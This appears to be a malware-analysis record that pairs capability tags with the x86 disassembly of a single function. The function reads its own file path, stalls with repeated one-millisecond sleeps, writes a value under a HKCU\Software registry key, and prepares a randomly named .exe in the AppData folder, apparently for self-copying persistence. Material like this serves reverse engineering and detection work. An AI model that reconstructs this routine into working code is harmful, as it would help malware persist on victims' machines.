Function at 0x401d80
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40f831
mov eax, dword fs:[0]
push eax
sub esp, 0x380
mov eax, dword [0x4144b0]
xor eax, esp
mov dword [esp + 0x378], eax
push ebx
push esi
push edi
mov eax, dword [0x4144b0]
xor eax, esp
push eax
lea eax, [esp + 0x390]
mov dword fs:[0], eax
push 0x104
lea eax, [esp + 0x178]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x416808
push 0x416908
push 0x416a08
lea ecx, [esp + 0x180]
push 0x416b08
push ecx
call fcn.004036b2
mov eax, 0x416908
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e01
sub eax, edx
lea ebx, [eax + 1]
push ebx
mov dword [esp + 0x20], ebx
call fcn.00402aba
mov esi, eax
mov eax, 0x416908
mov edx, esi
add esp, 4
mov dword [esp + 0x18], esi
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401e30
mov dword [esp + 0x398], 0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call edi
push 1
call edi
push 1
call edi
push 1
call edi
push str.mhbz_
push 0x416908
call fcn.004031cf
add esp, 8
push 1
test eax, eax
je 0x401ed7
call edi
push 1
call edi
push 1
call edi
push 0x41294c
push esi
mov byte [0x416c07], 1
dec ebx
call fcn.004031cf
add esp, 8
test eax, eax
je 0x401e9b
sub eax, esi
jmp 0x401e9e
or eax, 0xffffffff
push ebx
inc eax
push eax
lea edx, [esp + 0x20]
push edx
lea ebx, [esp + 0x1c]
call fcn.004010b0
lea esi, [esp + 0x18]
mov byte [esp + 0x398], 1
call fcn.00401020
mov byte [esp + 0x398], 0
mov eax, dword [esp + 0x10]
push eax
call fcn.00402e5d
add esp, 4
jmp 0x401ef7
call edi
push 1
call edi
push 1
call edi
push 0x412950
push 0x412954
lea ebx, [esp + 0x20]
call fcn.004011b0
add esp, 8
mov ebx, dword [esp + 0x18]
push 0x412950
push ebx
call fcn.004038f5
add esp, 8
test eax, eax
je 0x401fcc
push 1
call edi
push 1
call edi
push 1
call edi
push str.xwallpaper
lea ecx, [esp + 0x70]
push str.HKEY_CURRENT_USERSoftware_s
push ecx
call fcn.00403436
add esp, 0xc
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x70]
mov dword [esp + 0x14], 0
call fcn.00402990
mov byte [esp + 0x398], 2
mov esi, dword [esp + 0x10]
push 1
call edi
push 1
call edi
push 1
call edi
test esi, esi
je 0x401f8e
mov eax, ebx
lea edx, [eax + 1]
jmp 0x401f70
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f70
sub eax, edx
inc eax
push eax
push ebx
push 1
push 0
push 0x412978
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x401fc1
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x70]
call fcn.00402820
test al, al
je 0x401fbd
push 1
call edi
push 1
call edi
push 1
call edi
mov edi, ebx
lea eax, [esp + 0x10]
call fcn.00402a40
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [esp + 0x10]
test esi, esi
je 0x401fcc
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call fcn.004031e6
add esp, 4
push eax
call fcn.0040390c
xor eax, eax
add esp, 4
mov byte [esp + 0x20], 0
mov dword [esp + 0x21], eax
mov dword [esp + 0x25], eax
mov byte [esp + 0x29], al
xor esi, esi
call fcn.0040391e
cdq
mov ecx, 0x19
idiv ecx
inc esi
add dl, 0x61
mov byte [esp + esi + 0x1f], dl
cmp esi, 9
jl 0x401ff4
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x30]
push str._s.exe
push eax
call fcn.00403436
add esp, 0xc
lea ecx, [esp + 0x27c]
push ecx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 1
call edi
push 1
call edi
push 1
call edi
push 1
call edi
lea edx, [esp + 0x27c]
push edx
lea ecx, [esp + 0x30]
call fcn.00401750
add esp, 4
push ebx
call fcn.00402e5d
add esp, 4
mov ecx, dword [esp + 0x390]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x378]
xor ecx, esp
call fcn.00402e4e
mov esp, ebp
pop ebp
ret